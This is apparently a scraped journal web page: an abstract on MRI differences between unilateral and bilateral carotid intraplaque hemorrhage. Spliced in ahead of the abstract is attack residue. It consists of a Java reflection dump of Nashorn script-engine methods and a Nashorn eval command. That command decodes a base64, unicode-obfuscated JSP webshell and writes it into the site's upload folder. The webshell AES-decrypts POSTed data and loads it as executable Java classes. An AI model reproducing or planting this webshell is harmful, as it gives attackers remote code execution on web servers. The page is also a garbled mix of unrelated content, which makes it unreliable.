public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2017, Vol. 37 ›› Issue (04): 517-.

Previous Articles     Next Articles

Magnetic resonance imaging characteristics of unilateral versus bilateral intraplaque hemorrhage in patients with carotid atherosclerotic plaques

  

  • Online:2017-04-20 Published:2017-04-20

Abstract: Objective To investigate the difference in the vulnerability of carotid atherosclerotic plaques in patients with unilateral and bilateral intraplaque hemorrhage (IPH). Methods A retrospective analysis was conducted among 44 patients with unilateral IPH (30 cases) or bilateral IPH (14 cases) in the carotid plaques detected by magnetic resonance imaging (MRI) in our hospital between December, 2009 and December, 2012. The age, maximum wall thickness and incidence of fibrous cap rupture were compared between the two groups. Results Compared with those with unilateral IPH, the patients with bilateral IPHs had a significantly younger age (66.6 ± 9.4 years vs 73.7 ± 9.0 years, P=0.027), a significantly greater maximum plaque thickness (6.3±1.9 mm vs 5.0±1.3 mm, P=0.035) and a higher incidence of ulcers (50% vs 13.3%, P=0.025). Logistic regression analysis revealed a significant association between bilateral IPHs and the occurrence of ulcer with an odd ratio (OR) of 6.5 (95% confidence interval [CI]: 1.5-28.7, P=0.014). After adjustment for gender in Model 1, bilateral IPHs were still significantly associated with presence of ulcer (OR=5.7, 95%CI: 1.1-29.2, P=0.036). But after adjustment for age (P=0.131) or maximum plaque thickness (P=0.139) in model 2, no significant correlation was found between bilateral IPHs and the presence of ulcer. Conclusion Compared with patients with unilateral IPH, those with bilateral IPHs are at a younger age and have a greater plaque burden and a higher incidence of fibrous cap rupture, suggesting a greater vulnerability of the carotid plaques in patients with bilateral IPHs.